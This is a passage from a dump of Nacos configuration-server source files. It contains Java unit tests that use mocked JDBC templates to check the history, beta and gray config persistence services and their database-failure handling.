historyReturn.getPageItems());\n        assertEquals(300, historyReturn.getTotalCount());\n        \n    }\n    \n    @Test\n    void testDetailConfigHistory() {\n        long nid = 256789;\n        \n        //mock query\n        ConfigHistoryInfo mockConfigHistoryInfo = createMockConfigHistoryInfo(0);\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {nid}), eq(HISTORY_DETAIL_ROW_MAPPER)))\n                .thenReturn(mockConfigHistoryInfo);\n        //execute & verify\n        ConfigHistoryInfo historyReturn = embeddedHistoryConfigInfoPersistService.detailConfigHistory(nid);\n        assertEquals(mockConfigHistoryInfo, historyReturn);\n    }\n    \n    @Test\n    void testDetailPreviousConfigHistory() {\n        long nid = 256789;\n        //mock query\n        ConfigHistoryInfo mockConfigHistoryInfo = createMockConfigHistoryInfo(0);\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {nid}), eq(HISTORY_DETAIL_ROW_MAPPER)))\n                .thenReturn(mockConfigHistoryInfo);\n        //execute & verify\n        ConfigHistoryInfo historyReturn = embeddedHistoryConfigInfoPersistService.detailPreviousConfigHistory(nid);\n        assertEquals(mockConfigHistoryInfo, historyReturn);\n    }\n    \n    @Test\n    void testFindConfigHistoryCountByTime() {\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        \n        //mock count\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {timestamp}), eq(Integer.class)))\n                .thenReturn(308);\n        //execute & verify\n        int count = embeddedHistoryConfigInfoPersistService.findConfigHistoryCountByTime(timestamp);\n        assertEquals(308, count);\n        \n    }\n    \n    private ConfigHistoryInfo createMockConfigHistoryInfo(long mockId) {\n        ConfigHistoryInfo configAllInfo = new ConfigHistoryInfo();\n        configAllInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configAllInfo.setGroup(\"test\");\n        configAllInfo.setContent(\"23456789000content\");\n        configAllInfo.setOpType(\"D\");\n        configAllInfo.setEncryptedDataKey(\"key4567\");\n        configAllInfo.setSrcIp(\"ip567\");\n        configAllInfo.setSrcUser(\"user1234\");\n        configAllInfo.setMd5(\"md52345678\");\n        return configAllInfo;\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoBetaPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBetaWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.sql.ExternalStorageUtils;\nimport com.alibaba.nacos.config.server.utils.TestCaseUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\nclass ExternalConfigInfoBetaPersistServiceImplTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<ExternalStorageUtils> externalStorageUtilsMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    private ExternalConfigInfoBetaPersistServiceImpl externalConfigInfoBetaPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private JdbcTemplate jdbcTemplate;\n    \n    private TransactionTemplate transactionTemplate = TestCaseUtils.createMockTransactionTemplate();\n    \n    @BeforeEach\n    void before() {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        externalStorageUtilsMockedStatic = Mockito.mockStatic(ExternalStorageUtils.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getTransactionTemplate()).thenReturn(transactionTemplate);\n        when(dataSourceService.getJdbcTemplate()).thenReturn(jdbcTemplate);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"mysql\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false))).thenReturn(false);\n        externalConfigInfoBetaPersistService = new ExternalConfigInfoBetaPersistServiceImpl();\n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        externalStorageUtilsMockedStatic.close();\n    }\n    \n    @Test\n    void testInsertOrUpdateBetaOfUpdate() {\n        String dataId = \"betaDataId113\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper, mockedConfigInfoStateWrapper);\n        //execute\n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        ConfigOperateResult configOperateResult = externalConfigInfoBetaPersistService.insertOrUpdateBeta(configInfo, betaIps, srcIp,\n                srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify update to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(configInfo.getContent()), eq(configInfo.getMd5()), eq(betaIps), eq(srcIp), eq(srcUser),\n                        eq(configInfo.getAppName()), eq(configInfo.getEncryptedDataKey()), eq(dataId), eq(group), eq(tenant));\n    }\n    \n    @Test\n    void testInsertOrUpdateBetaOfAdd() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1))\n                .thenReturn(mockedConfigInfoStateWrapper);\n        \n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        //execute\n        ConfigOperateResult configOperateResult = externalConfigInfoBetaPersistService.insertOrUpdateBeta(configInfo, betaIps, srcIp,\n                srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify add to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(dataId), eq(group), eq(tenant), eq(configInfo.getAppName()), eq(configInfo.getContent()),\n                        eq(configInfo.getMd5()), eq(betaIps), eq(srcIp), eq(srcUser), eq(configInfo.getEncryptedDataKey()));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateBetaOfException() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper);\n        \n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        \n        // mock update throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(configInfo.getContent()), eq(configInfo.getMd5()), eq(betaIps), eq(srcIp), eq(srcUser),\n                eq(configInfo.getAppName()), eq(configInfo.getEncryptedDataKey()), eq(dataId), eq(group),\n                eq(tenant))).thenThrow(new CannotGetJdbcConnectionException(\"mock fail\"));\n        //execute of update& expect.\n        try {\n            externalConfigInfoBetaPersistService.insertOrUpdateBeta(configInfo, betaIps, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail\", exception.getMessage());\n        }\n\n        //mock query return null\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[]{dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null);\n        //mock add throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(dataId), eq(group), eq(tenant), eq(configInfo.getAppName()),\n                eq(configInfo.getContent()), eq(configInfo.getMd5()), eq(betaIps), eq(srcIp), eq(srcUser),\n                eq(configInfo.getEncryptedDataKey()))).thenThrow(new CannotGetJdbcConnectionException(\"mock fail add\"));\n        //execute of add& expect.\n        try {\n            externalConfigInfoBetaPersistService.insertOrUpdateBeta(configInfo, betaIps, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail add\", exception.getMessage());\n        }\n\n        //mock query throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"get c fail\"));\n        //execute of add& expect.\n        try {\n            externalConfigInfoBetaPersistService.insertOrUpdateBeta(configInfo, betaIps, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"get c fail\", exception.getMessage());\n        }\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateBetaCasOfUpdate() {\n        String dataId = \"betaDataId113\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper, mockedConfigInfoStateWrapper);\n        \n        //execute\n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        configInfo.setMd5(\"casMd5\");\n        //mock cas update\n        when(jdbcTemplate.update(anyString(), eq(configInfo.getContent()), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)),\n                eq(betaIps), eq(srcIp), eq(srcUser), eq(appName), eq(dataId), eq(group), eq(tenant),\n                eq(configInfo.getMd5()))).thenReturn(1);\n        \n        ConfigOperateResult configOperateResult = externalConfigInfoBetaPersistService.insertOrUpdateBetaCas(configInfo, betaIps, srcIp,\n                srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify cas update to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(configInfo.getContent()), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(betaIps),\n                        eq(srcIp), eq(srcUser), eq(appName), eq(dataId), eq(group), eq(tenant), eq(configInfo.getMd5()));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateBetaCasOfAdd() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1))\n                .thenReturn(mockedConfigInfoStateWrapper);\n        \n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        //execute\n        ConfigOperateResult configOperateResult = externalConfigInfoBetaPersistService.insertOrUpdateBetaCas(configInfo, betaIps, srcIp,\n                srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify add to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(dataId), eq(group), eq(tenant), eq(configInfo.getAppName()), eq(configInfo.getContent()),\n                        eq(configInfo.getMd5()), eq(betaIps), eq(srcIp), eq(srcUser), eq(configInfo.getEncryptedDataKey()));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateBetaCasOfException() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper);\n        \n        String betaIps = \"betaips...\";\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        configInfo.setMd5(\"casMd5\");\n        // mock update throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(configInfo.getContent()), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)),\n                eq(betaIps), eq(srcIp), eq(srcUser), eq(appName), eq(dataId), eq(group), eq(tenant),\n                eq(configInfo.getMd5()))).thenThrow(new CannotGetJdbcConnectionException(\"mock fail\"));\n        //execute of update& expect.\n        try {\n            externalConfigInfoBetaPersistService.insertOrUpdateBetaCas(configInfo, betaIps, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail\", exception.getMessage());\n        }\n        \n        //mock query return null\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null);\n        //mock add throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(dataId), eq(group), eq(tenant), eq(configInfo.getAppName()), eq(configInfo.getContent()),\n                eq(MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE)), eq(betaIps), eq(srcIp),\n                eq(srcUser), eq(configInfo.getEncryptedDataKey()))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock fail add\"));\n        \n        //execute of add& expect.\n        try {\n            externalConfigInfoBetaPersistService.insertOrUpdateBetaCas(configInfo, betaIps, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail add\", exception.getMessage());\n        }\n        \n        //mock query throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"get c fail\"));\n        //execute of add& expect.\n        try {\n            externalConfigInfoBetaPersistService.insertOrUpdateBetaCas(configInfo, betaIps, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"get c fail\", exception.getMessage());\n        }\n        \n    }\n    \n    @Test\n    void testRemoveConfigInfo4Beta() {\n        String dataId = \"dataId456789\";\n        String group = \"group4567\";\n        String tenant = \"tenant56789o0\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper);\n        externalConfigInfoBetaPersistService.removeConfigInfo4Beta(dataId, group, tenant);\n        \n        //verity\n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(dataId), eq(group), eq(tenant));\n        \n        //mock query throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"mock fail11111\"));\n        \n        try {\n            externalConfigInfoBetaPersistService.removeConfigInfo4Beta(dataId, group, tenant);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail11111\", exception.getMessage());\n        }\n    }\n    \n    @Test\n    void testFindConfigInfo4Beta() {\n        String dataId = \"dataId456789\";\n        String group = \"group4567\";\n        String tenant = \"tenant56789o0\";\n        //mock exist beta\n        ConfigInfoBetaWrapper mockedConfigInfoStateWrapper = new ConfigInfoBetaWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper);\n        ConfigInfoBetaWrapper configInfo4BetaReturn = externalConfigInfoBetaPersistService.findConfigInfo4Beta(dataId, group, tenant);\n        assertEquals(mockedConfigInfoStateWrapper, configInfo4BetaReturn);\n        \n        //mock query throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"mock fail11111\"));\n        try {\n            externalConfigInfoBetaPersistService.findConfigInfo4Beta(dataId, group, tenant);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail11111\", exception.getMessage());\n        }\n        \n        //mock query throw EmptyResultDataAccessException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1));\n        ConfigInfoBetaWrapper configInfo4BetaNull = externalConfigInfoBetaPersistService.findConfigInfo4Beta(dataId, group, tenant);\n        assertNull(configInfo4BetaNull);\n    }\n    \n    @Test\n    void testConfigInfoBetaCount() {\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(101);\n        int returnCount = externalConfigInfoBetaPersistService.configInfoBetaCount();\n        assertEquals(101, returnCount);\n    }\n    \n    @Test\n    void testFindAllConfigInfoBetaForDumpAll() {\n        //mock count\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(12345);\n        \n        //mock page list\n        List<ConfigInfoBetaWrapper> mockList = new ArrayList<>();\n        mockList.add(new ConfigInfoBetaWrapper());\n        mockList.add(new ConfigInfoBetaWrapper());\n        mockList.add(new ConfigInfoBetaWrapper());\n        mockList.get(0).setLastModified(System.currentTimeMillis());\n        mockList.get(1).setLastModified(System.currentTimeMillis());\n        mockList.get(2).setLastModified(System.currentTimeMillis());\n        \n        when(jdbcTemplate.query(anyString(), eq(new Object[] {}), eq(CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER))).thenReturn(mockList);\n        \n        int pageNo = 1;\n        int pageSize = 101;\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(101);\n        //execute & expect\n        Page<ConfigInfoBetaWrapper> pageReturn = externalConfigInfoBetaPersistService.findAllConfigInfoBetaForDumpAll(pageNo, pageSize);\n        assertEquals(mockList, pageReturn.getPageItems());\n        assertEquals(101, pageReturn.getTotalCount());\n        \n        //mock count throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenThrow(new CannotGetJdbcConnectionException(\"345678909fail\"));\n        //execute &expect\n        try {\n            externalConfigInfoBetaPersistService.findAllConfigInfoBetaForDumpAll(pageNo, pageSize);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"345678909fail\", exception.getMessage());\n        }\n    }\n    \n}\n\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoGrayPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.sql.ExternalStorageUtils;\nimport com.alibaba.nacos.config.server.utils.TestCaseUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.ENCODE;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\npublic class ExternalConfigInfoGrayPersistServiceImplTest {\n    \n    private ExternalConfigInfoGrayPersistServiceImpl externalConfigInfoGrayPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private JdbcTemplate jdbcTemplate;\n    \n    @Mock\n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    @Mock\n    DatabaseOperate databaseOperate;\n    \n    private TransactionTemplate transactionTemplate = TestCaseUtils.createMockTransactionTemplate();\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<ExternalStorageUtils> externalStorageUtilsMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    /**\n     * before each tet case.\n     */\n    @BeforeEach\n    public void before() {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        externalStorageUtilsMockedStatic = Mockito.mockStatic(ExternalStorageUtils.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getTransactionTemplate()).thenReturn(transactionTemplate);\n        when(dataSourceService.getJdbcTemplate()).thenReturn(jdbcTemplate);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"mysql\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false)))\n                .thenReturn(false);\n        externalConfigInfoGrayPersistService = new ExternalConfigInfoGrayPersistServiceImpl(\n                historyConfigInfoPersistService);\n  